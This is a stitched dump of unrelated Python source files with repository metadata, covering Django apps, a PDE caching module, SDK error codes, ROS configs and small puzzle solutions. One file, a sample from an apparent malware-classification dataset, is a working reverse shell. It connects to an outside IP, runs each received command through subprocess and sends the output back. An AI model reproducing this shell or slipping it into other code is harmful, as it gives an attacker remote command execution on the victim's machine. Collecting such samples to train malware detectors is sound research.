#!/home/sephanayer/PycharmProjects/KMC_ventilator/myenv/bin/python # -*- coding: utf-8 -*- import re import sys from PyInstaller.utils.cliutils.set_version import run if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(run())
[ "tipastep5@gmail.com" ]
tipastep5@gmail.com
63b818db9e4eccd807d593c3f43062cb64409b4b
4fd4d339d8e52fb80bcc4b3c0bf85eed11def9ff
/pde/tools/cache.py
71cfb06effa1cfc63fda51ecc69176e9053b6a51
[ "MIT" ]
permissive
Capri2014/py-pde
c3bb6e6544876a8d97e3932ae048f53d273e74ef
2686e75eff9db54dfab0db26a2634d31eac3962c
refs/heads/master
2022-12-19T04:55:12.374179
2020-09-25T16:06:51
2020-09-25T16:06:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
20,996
py
""" Module containing functions for managing cache structures .. autosummary:: :nosignatures: cached_property cached_method hash_mutable hash_readable make_serializer make_unserializer DictFiniteCapacity SerializedDict .. codeauthor:: David Zwicker <dzwicker@seas.harvard.edu> """ from __...
[ "david.zwicker@ds.mpg.de" ]
david.zwicker@ds.mpg.de
2001d879a3c4fa86e51f452141f58291f247e5d8
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad342.py
93d369222308b3fb6895c3732d78dc2b323386c3
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
368
py
import tarfile import hashlib import bz2 import crypt import hmac import subprocess import socket import zipfile import zlib import gzip s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess....
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
a2e7dee9a0ef320ef1a4ca7ee015c89591a5713a
7707233ec4a550f765fd28e7731f72542478cc1e
/startClient.py
cfee671263f209eef1c6a228f66fa7ad21bc2361
[]
no_license
Angelina-Wang/518project
6c971c7dfa34ee44961e127aba72ea9c85d8a762
fb1056ff66eb18393b4532d6eae935ca6240f517
refs/heads/master
2020-09-23T10:29:33.930957
2020-01-13T01:01:22
2020-01-13T01:01:22
225,477,176
0
0
null
null
null
null
UTF-8
Python
false
false
152
py
from custom_classes import * import sys client = AClient() client.connectServer(sys.argv[1]) client.restart(float(sys.argv[2])) client.startListener()
[ "None" ]
None
39f8937093dcbe80de31af680dadd9de39c094e5
91a9f5a7afb398f4238527708cbc155dc972cbfa
/teg2/bdd_car_versions/bdd_car_6Aug2017/bair_car/nodes/runtime_parameters.py
fcabb93f3a883c1f48ad5b69ad2cf492c0088468
[]
no_license
bddmodelcar/kzpy3.2
cd6f9bf6b7b8b920c79b4ee36c2592b992ae4332
b044b26649b19b240bd580feca20424a237374b1
refs/heads/master
2021-01-19T21:01:58.687712
2017-08-23T22:39:56
2017-08-23T22:39:56
101,243,308
0
1
null
2017-08-24T02:04:50
2017-08-24T02:04:50
null
UTF-8
Python
false
false
3,778
py
# This is used to specifiy caffe mode and data file name information from kzpy3.utils2 import time_str from kzpy3.utils2 import opjh from kzpy3.utils2 import print_stars0 from kzpy3.utils2 import print_stars1 import os import numpy as np print_stars0();print(__file__);print_stars1() computer_name = "MR_Unknown" try:...
[ "karlzipser@berkeley.edu" ]
karlzipser@berkeley.edu
fba1184cfd449adefa4e36759c3b17c04ea45157
d8859f10ea5d4eba76230036535cdb22fb6398ba
/setup.py
782c08fac224c86b107d7f2f3546e52e8546af76
[ "MIT" ]
permissive
ebranlard/wiz
322a83b0f97ad53c990cfaf26c182d02008f856a
6dfca8b2711b670229f5b2b3b3e0d7fe0bdea156
refs/heads/master
2021-06-09T17:26:48.478453
2021-06-04T16:29:53
2021-06-04T16:37:04
181,733,068
5
1
null
null
null
null
UTF-8
Python
false
false
323
py
from setuptools import setup, find_packages setup( name='wiz', version='1.0', description='Python library from E. Branlard', url='http://github.com/ebranlard/wiz/', author='Emmanuel Branlard', author_email='lastname@gmail.com', license='MIT', packages=find_packages(), zip_safe=False...
[ "elmanuelito.github@gmail.com" ]
elmanuelito.github@gmail.com
86a3adb8a35c843aa7d7252b10b0f4a38d03955b
76e51e96f663dccf9cd0f3b508dcee18996cf41b
/tests/test_Loading.py
78222aafe313c998725b2466b5f4c631c20a5184
[ "MIT" ]
permissive
renaiku/MHWorldData
b8d923765ee00bed08cf4d4c80b6ee88b18da1a9
34cf3e2d7e494e84cb48a8f14813480726019139
refs/heads/master
2020-03-27T22:33:12.411297
2018-09-03T18:41:07
2018-09-03T18:41:07
147,240,998
0
0
MIT
2018-09-03T18:38:14
2018-09-03T18:38:13
null
UTF-8
Python
false
false
2,247
py
import pytest import os import shutil import json from mhdata.io import DataReader def save_json(obj, path): with open(path, 'w') as f: json.dump(obj, f) @pytest.fixture() def loader_mock(tmpdir): "Returns loader pointed to a temporary directory created for the test" return DataReader( d...
[ "cfern1990@gmail.com" ]
cfern1990@gmail.com
b48475f57dc3e7b716dda880d44c0b9842560a1b
d4f3511626be986b557b7ff34f342a771941b9bd
/snaked/plugins/search/__init__.py
c9653724e32079d7eade04d3dc639ba0602d434d
[ "MIT" ]
permissive
bigdrum/snaked
4d78bb313d87973d62e8ee5f2bf23b1fada54e7d
2b8620fec1295fbc735f2c53a554e5f133725cb9
refs/heads/master
2020-12-25T10:15:49.575809
2011-09-09T06:56:06
2011-09-09T06:56:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,821
py
author = 'Anton Bobrov<bobrov@vl.ru>' name = 'Search' desc = 'Searches words in document' import re import weakref import gtk import glib from snaked.util import idle, refresh_gui active_widgets = weakref.WeakKeyDictionary() search_selections = [] mark_task_is_in_queue = [False] class SearchSelection(object): ...
[ "bobrov@vl.ru" ]
bobrov@vl.ru
12c43770a03fa2dd6d1279173deb78335d2ff25a
a6a52013708c5242ea737950a7614e5585c0b1ae
/oot/upgrade/upgrade.py
47b18fbdbc1987f0f4df408fc3bb368c4bf7d6be
[]
no_license
tegin/oot
b381ce32686965cbb7979ee44856b1f9695d23d9
36d372939dc5bbe65eb7106746f747a87ea29a69
refs/heads/prod
2021-07-06T05:09:55.472203
2019-11-15T12:36:21
2019-11-15T12:36:21
216,402,597
5
5
null
2019-11-18T08:28:31
2019-10-20T17:47:45
Python
UTF-8
Python
false
false
1,220
py
import importlib.util import logging import os import pip._internal.main as pip from packaging import version as packaging_version _logger = logging.getLogger(__name__) def upgrade(current_version, version, path, migration_package): if current_version >= version: return False if os.path.exists(os.pa...
[ "etobella@creublanca.es" ]
etobella@creublanca.es
3e2d53619ad1a420b81849bc407d615f9aa85874
0fccee4c738449f5e0a8f52ea5acabf51db0e910
/genfragments/EightTeV/TprimeTprime/TprimeTprimeToTZBWinc_M_625_TuneZ2star_8TeV-madgraph_cff.py
0074af204c51e90e60f3bb535520fed0d2b05427
[]
no_license
cms-sw/genproductions
f308ffaf3586c19b29853db40e6d662e937940ff
dd3d3a3826343d4f75ec36b4662b6e9ff1f270f4
refs/heads/master
2023-08-30T17:26:02.581596
2023-08-29T14:53:43
2023-08-29T14:53:43
11,424,867
69
987
null
2023-09-14T12:41:28
2013-07-15T14:18:33
Python
UTF-8
Python
false
false
5,074
py
import FWCore.ParameterSet.Config as cms #from Configuration.Generator.PythiaUEZ2Settings_cfi import * from Configuration.Generator.PythiaUEZ2starSettings_cfi import * generator = cms.EDFilter("Pythia6HadronizerFilter", pythiaHepMCVerbosity = cms.untracked.bool(False), maxEventsToPrint = cms.untracked.int32(0)...
[ "sha1-5c9a4926c1ea08b633689ec734e2440da58b8c56@cern.ch" ]
sha1-5c9a4926c1ea08b633689ec734e2440da58b8c56@cern.ch
1ef6abb1dc8514a3821f1e914f36edb9afe6191c
14aa5e3974f9857b58a4a06ebf42dc348e2ab6ae
/severstal-steel-defect-detection/20190910/code/dummy_11a/resnet18_unet_softmax_01/resnet.py
66efd98d79b56664cb2de700a77c9f360ef051b9
[]
no_license
alimbekovKZ/jupyter_notebooks_2
b729e6a16210d0117ff9fb563c83d39f59a906e4
a925fb3adcf675e8a9a9eb4bae472a38df15fd28
refs/heads/master
2023-02-10T08:56:15.435965
2021-01-05T10:10:20
2021-01-05T10:10:20
266,936,671
1
0
null
null
null
null
UTF-8
Python
false
false
16,282
py
from common import * from lib.net.sync_bn.nn import BatchNorm2dSync as SynchronizedBatchNorm2d BatchNorm2d = SynchronizedBatchNorm2d #BatchNorm2d = nn.BatchNorm2d IMAGE_RGB_MEAN = [0.485, 0.456, 0.406] IMAGE_RGB_STD = [0.229, 0.224, 0.225] #########################################################################...
[ "alimbekovr@hotmail.com" ]
alimbekovr@hotmail.com
19c036b8c37c66b0214ccbfc8b7a4c13c90935d2
87402fcec35a35a45dc305588323c72fa3d203b0
/tasks/migrations/0022_auto_20200925_1348.py
30bef7017d73304f6deadfa32abf64fe1e491aa8
[]
no_license
Aviemusca/task-manager-backend
d80fd20a5aa88a31f5096d17c3ee1ebe86832c7e
b0a9052d94138f4e7d2c1be7f7425ee570f9eec4
refs/heads/master
2022-12-20T10:06:16.648889
2020-09-29T10:31:33
2020-09-29T10:31:33
278,863,723
0
0
null
null
null
null
UTF-8
Python
false
false
449
py
# Generated by Django 3.0.8 on 2020-09-25 13:48 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tasks', '0021_auto_20200907_1043'), ] operations = [ migrations.AlterField( model_name='task', name=...
[ "yvan@metatech.ie" ]
yvan@metatech.ie
9a92c56ebf23abfd32e027a9bee74caebb691d5d
f74dd098c3e665d8f605af5ebe7e2874ac31dd2f
/aiogithubapi/objects/repository/release.py
61c880ab667788e696a65c262a1162a9b0c98748
[ "MIT" ]
permissive
ludeeus/aiogithubapi
ce87382698827939aaa127b378b9a11998f13c06
90f3fc98e5096300269763c9a5857481b2dec4d2
refs/heads/main
2023-08-20T19:30:05.309844
2023-08-14T20:24:21
2023-08-14T20:24:21
198,505,021
21
20
MIT
2023-09-11T06:12:10
2019-07-23T20:39:53
Python
UTF-8
Python
false
false
986
py
""" AIOGitHubAPI: Repository Release https://developer.github.com/v3/repos/releases/ """ # pylint: disable=missing-docstring from datetime import datetime from ...objects.base import AIOGitHubAPIBase from ...objects.repository.content import AIOGitHubAPIRepositoryContent class AIOGitHubAPIRepositoryRelease(AIOGitHu...
[ "noreply@github.com" ]
ludeeus.noreply@github.com
b961193349a8103c8c431616e1dd217e33b4484d
0fef5d75b0896116eda121c4d7c8a4ad6686a0f7
/kotti_image_gallery/views.py
aca92925141697899cbe39251257bae08515e3ba
[]
no_license
disko/kotti_image_gallery
1144d06f31f3d07f759b73d88a066730bc0ed920
046d127effdf3774cf0c1b04f2ef599e6134becb
HEAD
2016-09-06T05:11:24.588627
2012-06-20T09:10:36
2012-06-20T09:10:36
4,111,810
0
1
null
null
null
null
UTF-8
Python
false
false
4,719
py
# -*- coding: utf-8 -*- import PIL from kotti import DBSession from kotti.util import _ from kotti.views.edit import ContentSchema, make_generic_add, make_generic_edit from kotti.views.file import AddFileFormView, EditFileFormView from kotti_image_gallery import image_scales from kotti_image_gallery.resources import G...
[ "disko@binary-punks.com" ]
disko@binary-punks.com
a4119ba39b831d8757ef26706cf178071762301f
9f1a56cbf621b34f539b64e526f00f68423a235a
/zigida/apps/db/accounting/items/migrations/0001_initial.py
ff2e312708e73881e78622e43232fdf8253ba8b9
[]
no_license
JacobSima/zando
21d982b190a719982bd5648ac135fbfbe45dbf00
e6fcac1ce97796d1dea5104f1b73bbf9b8822b98
refs/heads/main
2023-06-15T03:51:52.846591
2021-07-12T10:52:25
2021-07-12T10:52:25
385,208,981
0
0
null
null
null
null
UTF-8
Python
false
false
2,226
py
# Generated by Django 3.2.4 on 2021-07-06 15:56 import django.core.validators from django.db import migrations, models import uuid import zigida.core.utils class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Item...
[ "simajacob2011@gmail.com" ]
simajacob2011@gmail.com
d0dac47833468b6340e44046570fe50b20cf344b
6d5545faf2af0a6bb565ad698bb824110b40e121
/WEBAPP/MLmodel/inception_client.py.runfiles/org_tensorflow/tensorflow/contrib/distributions/python/ops/relaxed_bernoulli.py
2d4ef07a06f25969cc7017d174db5616a93b3e04
[ "MIT" ]
permissive
sunsuntianyi/mlWebApp_v2
abb129cd43540b1be51ecc840127d6e40c2151d3
5198685bf4c4e8973988722282e863a8eaeb426f
refs/heads/master
2021-06-23T22:02:38.002145
2020-11-20T02:17:43
2020-11-20T02:17:43
162,194,249
1
0
null
null
null
null
UTF-8
Python
false
false
152
py
/private/var/tmp/_bazel_tianyi/f29d1e61689e4e4b318f483932fff4d0/external/org_tensorflow/tensorflow/contrib/distributions/python/ops/relaxed_bernoulli.py
[ "sun.suntianyi@gmail.com" ]
sun.suntianyi@gmail.com
7999c9e767ff7ebde5862e9be1c8e6c2ba746d76
0e1e643e864bcb96cf06f14f4cb559b034e114d0
/Exps_7_v3/doc3d/Ablation3_Pyr_ch016_ep010_noFocus/step10_b1_train.py
3aaadbfa5d58d8ec98b4c4672a778cf2dced46a2
[]
no_license
KongBOy/kong_model2
33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307
1af20b168ffccf0d5293a393a40a9fa9519410b2
refs/heads/master
2022-10-14T03:09:22.543998
2022-10-06T11:33:42
2022-10-06T11:33:42
242,080,692
3
0
null
null
null
null
UTF-8
Python
false
false
4,653
py
############################################################################################################################################################################################################# ##################################################################################################################...
[ "s89334roy@yahoo.com.tw" ]
s89334roy@yahoo.com.tw
6337e2499c6fa0da29ea130222d938fa6a36f58a
528f910908885c3ded4ecc6380b9603c8dcacbd6
/tbapi/top/api/rest/SimbaRptCustbaseGetRequest.py
c9d9394a3214923195d5a87283bd2c0146389272
[]
no_license
Monica-ckd/data007
15fe9c4c898a51a58100138b6b064211199d2ed1
0e54ae57eb719b86ec14ce9f77b027882a3398a8
refs/heads/master
2023-03-16T05:26:14.257318
2016-05-25T06:57:05
2016-05-25T06:57:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
464
py
''' Created by auto_sdk on 2013-04-01 16:44:41 ''' from top.api.base import RestApi class SimbaRptCustbaseGetRequest(RestApi): def __init__(self,domain='gw.api.taobao.com',port=80): RestApi.__init__(self,domain, port) self.end_time = None self.nick = None self.page_no = None self.page_size = None ...
[ "root@u16392468.onlinehome-server.com" ]
root@u16392468.onlinehome-server.com
a66ad8b37efa20112165adcc07b03e6251140a84
7a5576a22774c8e36830781a845c0ac39243af99
/tests/unit/test_image.py
e26427a2f2abfd00f2f1968405b9a41875cc1403
[ "Apache-2.0" ]
permissive
Kupoman/blendergltf
1ccece9793005c57683baf6cfd50cadb7ff303c0
cd665283e5fce6447abba22dfd9f584c602a1782
refs/heads/develop
2022-07-04T06:04:04.535191
2019-06-16T01:32:40
2019-06-16T02:21:09
51,494,812
353
60
Apache-2.0
2020-05-30T14:29:18
2016-02-11T04:53:55
Python
UTF-8
Python
false
false
2,570
py
def test_image_export_reference(exporters, state, bpy_image_default, gltf_image_default): state['settings']['images_data_storage'] = 'REFERENCE' gltf_image_default['uri'] = '../filepath.png' output = exporters.ImageExporter.export(state, bpy_image_default) assert output == gltf_image_default def test_...
[ "kupomail@gmail.com" ]
kupomail@gmail.com
79609da4ebb7b41e9546575df82cac770fc8e609
3c541cf9d6956f580eb6fec039e567d0813ee272
/apps/recipes/views/recipes.py
8ea96fb3baf2507cfcc458eceef1f76889e0aaa4
[]
no_license
NicolasTerroni/MyFridgeAPI
9c4a7b28f48d9c547b82bc45348a4a2bd58d8551
5cd1b3155c4542d0479948f39701b539497e28f7
refs/heads/main
2023-07-01T03:05:09.422293
2021-08-10T04:10:44
2021-08-10T04:10:44
382,104,468
0
0
null
null
null
null
UTF-8
Python
false
false
2,893
py
"""Recipes views.""" # Django REST Framework from rest_framework.viewsets import ModelViewSet from rest_framework.decorators import action from rest_framework.response import Response # Serializers from apps.recipes.serializers import RecipeModelSerializer, CreateRecipeSerializer # Models from apps.recipes.models im...
[ "nsterroni@gmail.com" ]
nsterroni@gmail.com
be134015a3d29b2e9234fc1baf05fbb8b076fb41
fcd2ece104f3c5ade822fd8b6ae35e3dd48e35b1
/code/2-twitter_labor/1-training_data_preparation/preliminary/ngram_labeling/build_set_specificity_check.py
54d4e9a89780968a89e234a79ce889fe5ec87f76
[]
no_license
spfraib/twitter
975742c9090b628ade0ec7230d0a9f09ab6e5d4a
da2104d30d094d5f943a057f5c1df902c2254d4d
refs/heads/master
2023-06-22T08:37:22.523478
2022-12-30T17:49:33
2022-12-30T17:49:33
236,588,781
6
4
null
2023-06-12T21:28:41
2020-01-27T20:34:53
Jupyter Notebook
UTF-8
Python
false
false
1,488
py
from pyspark.sql import SparkSession import pyspark.sql.functions as F from pyspark.ml.feature import Bucketizer, QuantileDiscretizer from pyspark.sql import Window from pyspark.sql.types import * from pyspark.sql.functions import lower, col, lit import subprocess import argparse import os import unicodedata import sys...
[ "manuel.tonneau@mailbox.org" ]
manuel.tonneau@mailbox.org
ddbef986dae907d2050b594e370f2184388f1920
e7c70a02e61f6d4a97c5933f3550bca22afa6acb
/ros_ws/build/learning_ros/Part_1/custom_msgs/cmake/custom_msgs-genmsg-context.py
cdf5cb754534d19022baa9bb108ca94f21ca075e
[]
no_license
amitf82/Final_Proj_Mobile_Robotics
14cfe7b182df1294a873283c91688c8ca9526fee
435a6c1562df030fc462fe1b0a84f968a27a2b85
refs/heads/master
2021-01-20T03:22:51.387095
2017-04-30T08:25:33
2017-04-30T08:25:33
89,532,221
0
0
null
null
null
null
UTF-8
Python
false
false
639
py
# generated from genmsg/cmake/pkg-genmsg.context.in messages_str = "/home/user/ros_ws/src/learning_ros/Part_1/custom_msgs/msg/VecOfDoubles.msg" services_str = "" pkg_name = "custom_msgs" dependencies_str = "roscpp;std_msgs" langs = "gencpp;genlisp;genpy" dep_include_paths_str = "custom_msgs;/home/user/ros_ws/src/learn...
[ "adf38@case.edu" ]
adf38@case.edu
f69ccb7f33652833c315b76a7a2d83e1524f1e29
4dfd539c530c5cff6874f2fa0c06ffd893212ad3
/tencentcloud/yunjing/v20180228/errorcodes.py
c9d51af5bf9ec25e5d48a99b9a144f01510b9ba7
[]
no_license
TencentCloud/tencentcloud-sdk-python-intl-en
aac605d1a0458b637ba29eb49f6f166fe844a269
042b4d7fb609d4d240728197901b46008b35d4b0
refs/heads/master
2023-09-01T19:39:27.436454
2023-09-01T04:02:15
2023-09-01T04:02:15
227,834,644
4
6
null
2023-07-17T08:56:56
2019-12-13T12:23:52
Python
UTF-8
Python
false
false
3,195
py
# -*- coding: utf8 -*- # Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
[ "tencentcloudapi@tenent.com" ]
tencentcloudapi@tenent.com
004a5ea7c590722cada44dc62d7244160bdbb780
ce2e74d15fa3159b596eae72bb4f0e2a96006c29
/The_Basics/Chapter14/testerr.py
45b8cca05254dd9de0a9d941064e370a36f470a2
[]
no_license
cametan001/Learning_to_Program
595fcd0d97b22abb9904957012fbed95c835426c
322716089025d2b21533aff9de33c18099eb30cb
refs/heads/master
2016-09-15T20:20:48.185428
2010-11-11T14:26:47
2010-11-11T14:26:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
152
py
# -*- coding: utf-8 -*- from raiserr import * try: print div42() except ZeroDivisionError: print "0以外の値を入力してください。"
[ "Masashi.Kameda+github@gmail.com" ]
Masashi.Kameda+github@gmail.com
f3a6c973676ba8b267b8fa1e5199895b9be7deb1
ba0cbdae81c171bd4be7b12c0594de72bd6d625a
/MyToontown/Panda3D-1.9.0/direct/pyinst/installutils.py
66eca013464126d08d7eeba3bad65df0cecb3bb2
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
sweep41/Toontown-2016
65985f198fa32a832e762fa9c59e59606d6a40a3
7732fb2c27001264e6dd652c057b3dc41f9c8a7d
refs/heads/master
2021-01-23T16:04:45.264205
2017-06-04T02:47:34
2017-06-04T02:47:34
93,279,679
0
0
null
null
null
null
UTF-8
Python
false
false
2,790
py
# copyright 1999 McMillan Enterprises, Inc. # demo code - use as you please. import os import stat def copyFile(srcFiles, destFile, append=0): ''' Copy one or more files to another file. If srcFiles is a list, then all will be concatenated together to destFile. The append flag is also valid ...
[ "sweep14@gmail.com" ]
sweep14@gmail.com
8c3aaaf2d9408dc92686db92188f28478d2d1435
33a32d7d7b482206852a7bbeb7fa507f55ca53dd
/models/category.py
3f0f824e93bb71a744c8707273430117db463718
[]
no_license
stanislawK/bookshelf
94277b0103b522302782c3a5fed9e4c790d6f86f
fa68dda7f88c83080ad9a51a1ed16994b2bca054
refs/heads/master
2020-05-21T18:44:14.396967
2019-05-20T10:04:06
2019-05-20T10:04:06
186,138,290
0
0
null
2019-05-20T08:11:44
2019-05-11T13:47:42
Python
UTF-8
Python
false
false
494
py
from bookshelf.extensions import db class CategoryModel(db.Model): __tablename__ = 'categories' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), nullable=False) @classmethod def find_by_name(cls, _name): return cls.query.filter_by(name=_name).first() @cla...
[ "stanislaw.krupienko@gmail.com" ]
stanislaw.krupienko@gmail.com
4f0372e774eb8b7d1ce6d898124f7ccc4c782e29
d41d18d3ea6edd2ec478b500386375a8693f1392
/plotly/validators/contourcarpet/colorbar/tickfont/_family.py
15aef26e53e16075df0e8f184ac20f62ac43a276
[ "MIT" ]
permissive
miladrux/plotly.py
38921dd6618650d03be9891d6078e771ffccc99a
dbb79e43e2cc6c5762251537d24bad1dab930fff
refs/heads/master
2020-03-27T01:46:57.497871
2018-08-20T22:37:38
2018-08-20T22:37:38
145,742,203
1
0
MIT
2018-08-22T17:37:07
2018-08-22T17:37:07
null
UTF-8
Python
false
false
514
py
import _plotly_utils.basevalidators class FamilyValidator(_plotly_utils.basevalidators.StringValidator): def __init__( self, plotly_name='family', parent_name='contourcarpet.colorbar.tickfont', **kwargs ): super(FamilyValidator, self).__init__( plotly_name=...
[ "adam.kulidjian@gmail.com" ]
adam.kulidjian@gmail.com
6988d0bf81d29b125be98f70f357cda2d3f89cd1
6ab810f6ca51dc2e2d0b7197fc1866b738ca70a2
/Contest/WC213/5555.统计字典序元音字符串的数目.py
eb45f72780ddd673963c0da027b281fa4e3be4db
[ "MIT" ]
permissive
ApocalypseMac/LeetCode
2309223be0c3e2969850cf1770eef2a447d39317
84c229eaf5a2e617ca00cabed04dd76d508d60b8
refs/heads/master
2023-04-14T19:22:34.340333
2021-03-28T05:20:40
2021-03-28T05:20:40
282,896,723
1
2
MIT
2020-07-29T05:05:19
2020-07-27T12:49:40
Python
UTF-8
Python
false
false
310
py
class Solution: def countVowelStrings(self, n: int) -> int: dp = [[0] * 5 for _ in range(n + 1)] for i in range(n + 1): dp[i][0] = 1 for i in range(1, n + 1): for j in range(1, 5): dp[i][j] = dp[i-1][j] + dp[i][j-1] return sum(dp[-1])
[ "ApocalypseMac@users.noreply.github.com" ]
ApocalypseMac@users.noreply.github.com
0d6c5c1c8e12278419687cd92ee29fc5328e85ba
f12770add2dd48d2262612fcb1aaecc4a714b4fb
/django/remoteomd/remoteomddata/api/urls.py
8080bdec717ba226682f54440bf918ee6f7351af
[]
no_license
github188/vending
3558666b57b37e843e72d194d80f6a8ef5dbc7a4
ce3e2f1fcbb4d132f7b01a99400d917d7ca174a6
refs/heads/master
2021-06-16T09:54:09.214694
2017-01-28T01:31:30
2017-01-28T01:31:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,722
py
from django.conf.urls import url, include from rest_framework.authtoken import views from remoteomddata.api.views.coinmachine import CoinChangeListAPIView, CoinChangeCreateAPIView, CoinChangeDetailAPIView, \ CoinChangeUpdateAPIView, CoinChangeDeleteAPIView from remoteomddata.api.views.config import ConfigListAPIVi...
[ "jeson.peng@gmail.com" ]
jeson.peng@gmail.com
5a2519e963859ae158490a2f5abc861b2d5ddaed
9805edf2b923c74cf72a3cfb4c2c712255256f15
/python/041_first_missing_positive.py
00bc37e88ed085cdb52e6a5065ea4211b936dbd3
[ "MIT" ]
permissive
jixinfeng/leetcode-soln
5b28e49c2879cdff41c608fc03628498939b0e99
24cf8d5f1831e838ea99f50ce4d8f048bd46c136
refs/heads/master
2022-10-12T17:02:53.329565
2022-10-06T03:21:56
2022-10-06T03:21:56
69,371,757
0
1
null
null
null
null
UTF-8
Python
false
false
1,004
py
""" Given an unsorted integer array, find the first missing positive integer. For example, Given [1,2,0] return 3, and [3,4,-1,1] return 2. Your algorithm should run in O(n) time and uses constant space. """ class Solution(object): def firstMissingPositive(self, nums): """ :type nums: List[int] ...
[ "ufjfeng@users.noreply.github.com" ]
ufjfeng@users.noreply.github.com
61b010f0c53d635bc3d60ea40135546e539a1c46
60e4baae4d6b323b3d3b656df3a7b0ea3ca40ef2
/project/apps/content/migrations/0011_auto_20180112_0303.py
45634aba944d38cfd3ac6dae8c65c055ac45551b
[]
no_license
Burzhun/Big-django-project
a03a61a15ee75f49324ad7ea51372b6b013d1650
1a71f974b7b5399a45862711b5f858c0d4af50d2
refs/heads/master
2020-04-11T00:16:06.211039
2018-12-11T19:13:38
2018-12-11T19:13:38
161,381,283
0
0
null
null
null
null
UTF-8
Python
false
false
1,266
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-01-12 03:03 from __future__ import unicode_literals from django.utils import timezone from django.db import migrations from itertools import chain import json def migrate_published_dates(apps, schema_editor): article_pages = apps.get_model('content', 'A...
[ "burjunov@yandex.ru" ]
burjunov@yandex.ru
c09e01caaebea0f93a9e3aa35d47a7ed3b477620
d96787f92bd86c8d8bcf01a4e7ec8f7feec24194
/kattis/acm/solution.py
26e0a74268c2f86a516dd1d097fcb4055afcc15e
[]
no_license
iandioch/solutions
133cbc3af58fadcde0b2e981fb0e7d05801070a7
8b3e458b3c01179ddf776bfbb897f263f22f3693
refs/heads/master
2023-04-09T03:39:16.952817
2023-03-15T20:00:53
2023-03-15T20:00:53
47,693,495
48
40
null
2019-10-22T14:52:59
2015-12-09T13:36:55
Python
UTF-8
Python
false
false
477
py
solved = {} # map question to time solved tries_before_solving = {} while True: p = input().split() if len(p) == 1: break time = int(p[0]) q = p[1] if q in solved: continue if q in tries_before_solving: tries_before_solving[q] += 1 else: tries_before_solving[q...
[ "iandioch11@gmail.com" ]
iandioch11@gmail.com